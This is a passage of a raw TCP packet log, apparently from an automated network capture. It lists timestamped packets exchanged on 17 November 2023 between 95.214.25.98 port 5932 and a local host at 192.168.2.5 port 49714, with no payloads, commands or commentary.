Nov 17, 2023 06:23:07.854140997 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.854159117 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.854203939 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.858743906 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.858787060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.858833075 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.863322973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.863348961 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.863393068 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.866728067 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.866766930 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.866811991 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.870899916 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.870918036 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.870964050 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.875740051 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.875786066 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.875832081 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.879400969 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.879440069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.879482985 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.883184910 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.883203983 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.883251905 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.887463093 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.887481928 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.887619972 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.890886068 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.890902996 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.890964985 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.895473957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.895492077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.895550013 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.898649931 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.898668051 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.898710012 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.902447939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.902482986 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.902528048 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.906415939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.906461000 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.906506062 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.910113096 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.910131931 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.910173893 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.913749933 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.913788080 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.913832903 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.917424917 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.917464018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.917503119 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.918463945 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.918483973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.918526888 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.921549082 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.921567917 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.921626091 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.925071001 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.925110102 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.925152063 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.929058075 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.929080009 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.929120064 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.932280064 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.932298899 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.932337046 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.936074972 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.936117887 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.936168909 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.939646006 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.939665079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.939713955 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.943265915 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.946974993 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.946996927 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.947040081 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.950474977 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.950494051 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.950540066 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.953996897 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.954015970 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.954051971 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.957654953 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.957711935 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.957735062 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.961334944 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.961358070 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.961385012 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.964694977 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.964715004 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.964755058 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.968353987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.968374014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.968405008 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.971823931 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.971847057 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.971873045 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.974874020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.974894047 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.974925041 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.978240967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.978264093 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.978292942 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.981635094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.981654882 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.981699944 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.984944105 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.984963894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.985333920 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.988357067 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.988387108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.988413095 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.991755962 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.991776943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.991802931 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.994965076 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.994995117 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.995032072 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.998361111 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.998387098 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.998461008 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:07.999109030 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.999130011 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:07.999161005 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.001529932 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.001550913 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.001599073 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.005002975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.005026102 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.005050898 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.008131027 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.008150101 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.008183002 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.011162043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.011208057 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.011255980 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.014364004 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.014384985 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.014415026 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.017478943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.017498016 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.017524004 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.020737886 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.020775080 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.020801067 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.023716927 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.023763895 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.023801088 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.026654959 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.026715994 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.029910088 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.029930115 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.029989004 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.032939911 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.032959938 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.033010960 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.035804033 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.035849094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.035907030 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.039717913 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.039737940 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.039829969 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.042313099 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.042362928 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.042416096 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.044990063 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.045008898 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.045064926 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.047965050 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.048007965 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.048072100 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.051582098 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.051655054 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.051709890 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.053716898 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.053735971 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.053801060 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.057908058 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.057926893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.057988882 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.059717894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.059736967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.059782028 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.062725067 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.062767982 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.062813997 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.065538883 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.065557957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.065608978 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.068269014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.068308115 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.068352938 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.071182966 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.071202993 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.071259022 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.074218988 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.074238062 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.074284077 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.076921940 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.076967955 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.077023029 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.080288887 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.080311060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.080379009 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.082550049 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.082570076 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.085279942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.085297108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.088057041 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.088466883 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.088512897 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.088634014 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.089159012 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.089204073 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.089270115 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.091090918 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.091118097 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.091175079 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.093738079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.093755960 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.093816042 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.096863031 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.096880913 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.096945047 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.099214077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.101919889 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.101938963 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.101983070 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.104609013 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.104626894 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.104672909 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.107506037 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.107527018 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.107573032 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.110013962 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.110057116 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.110090017 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.112569094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.112595081 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.112627983 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.115318060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.115340948 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.115374088 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.117851019 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.117870092 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.117906094 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.120599985 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.120644093 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.120671988 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.123186111 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.123214006 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.123234034 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.125771999 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.125791073 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.125823021 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.128277063 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.128297091 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.128325939 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.131149054 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.131189108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.131218910 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.133384943 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.133404970 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.133440971 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.136157036 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.136176109 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.136215925 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.138520002 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.138540030 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.138580084 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.141165972 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.141208887 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.141249895 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.143625975 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.143644094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.143671989 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.147110939 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.147136927 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.147274017 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.148611069 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.148641109 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.148663998 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.151072979 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.151096106 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.151119947 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.153459072 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.153492928 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.153506994 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.156651020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.156671047 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.156708956 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.161070108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.161108017 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.161129951 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.165777922 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.165844917 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.165888071 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.169887066 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.169909954 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.169946909 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.170465946 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.170485020 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.170515060 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.171622992 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.171643019 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.171675920 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.172781944 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.172802925 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.172832966 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.173954964 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.173974991 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.174005032 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.175038099 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.175071001 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.175090075 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.176215887 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.176265955 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.176295996 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.177299976 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.177331924 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.177349091 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.178478003 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.178508997 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.178525925 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.179631948 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.179655075 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.179685116 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.180751085 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.180769920 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.180795908 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.181824923 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.181844950 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.181869984 CET	49714	5932	192.168.2.5	95.214.25.98
